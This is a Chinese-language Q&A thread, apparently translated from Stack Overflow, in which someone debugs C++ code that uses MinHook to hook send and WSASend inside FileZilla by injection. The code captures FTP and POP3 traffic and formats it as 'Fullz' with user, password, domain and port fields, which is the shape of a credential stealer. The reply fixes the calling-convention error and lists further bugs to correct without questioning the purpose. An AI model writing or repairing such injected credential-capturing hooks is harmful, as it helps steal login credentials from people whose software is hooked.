挂钩Send / WSASend返回运行时检查错误#0

时间:2017-01-01 13:14:11

标签: c++ filezilla

我正在尝试挂钩Send / WSASend以监控流量,在messagebox中显示数据,当我挂钩以外显示带有流量的消息框时会弹出此运行时检查错误。

代码似乎编译正确,如下所示

#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"

#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")

using namespace std;

LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;

void ExportBuffer(char *buf, SOCKET s)
{
    char *buffer = (char*)buf;
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
    {
        sockaddr_in peeraddr;
        int size = sizeof(peeraddr);
        getpeername(s, (struct sockaddr *)&peeraddr, &size);
        struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
        char* IP = inet_ntoa(peeraddr.sin_addr);
        int Port = (int)htons(peeraddr.sin_port);

        if (IP != NULL && Port > 0)
        {
            char Fullz[250];
            wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
            MessageBoxA(0, Fullz, 0, 0);
        }
    }
}


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
    int hResult = True_send(s, buf, len, flags);
    if (hResult > 0)
    {
        ExportBuffer((char*)buf, s);
    }

    return hResult;
}

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
    if (hResult > 0)
    {
        ExportBuffer((char*)lpBuffers->buf, s);
    }
    return hResult;

}

void hookSend()
{
    MH_STATUS status = MH_Initialize();
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
    status = MH_EnableHook(MH_ALL_HOOKS);
}

void hookWSApop()
{
    MH_STATUS status = MH_Initialize();
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
    status = MH_EnableHook(MH_ALL_HOOKS);
}

void poptrigger()
{
    hookSend();
    hookWSApop();
}

当我注入filezilla时,我在第57行获得运行时检查错误#0。

1 个答案:

答案 0 :(得分:3)

您的send_FuncType typedef缺少显式调用约定,因此使用编译器的默认值(通常为__cdecl)。 send()使用__stdcall调用约定(几乎每个Win32 API函数都有)。因此,在调用True_send()时,由于调用约定不匹配,您可能会导致运行时错误。 WINAPI宏包含__stdcall约定,因此您的WSASend()挂钩不会出现类似的不匹配。

此外,ExportBuffer()有很多逻辑错误:

  1. send()WSASend()不对空终止的缓冲区进行操作(并且FTP和POP3协议中不存在空终止符),但是strncmpwsprintfA操作期望以空值终止的数据。
  2. 您根本不考虑TCP的面向流的特性。无法保证任何给定的缓冲区都包含完整的字符串。您必须准备好处理跨越多个缓冲区的字符串。
  3. 您认为所有套接字仅使用IPv4,但无法保证。要同时支持IPv4和IPv6,请使用sockaddr_storage代替sockaddr_in,并使用InetPton()代替inet_ntoa()
  4. 您没有将足够的参数传递给wsprintfA()。您有4个格式说明符,但只传递3个数据值。
  5. 您似乎想要处理FTP和POP3协议,但字符"FTP""POP"不会出现在这些协议中的传输数据中,那么您还在寻找什么?
  6. 您需要修复这些错误。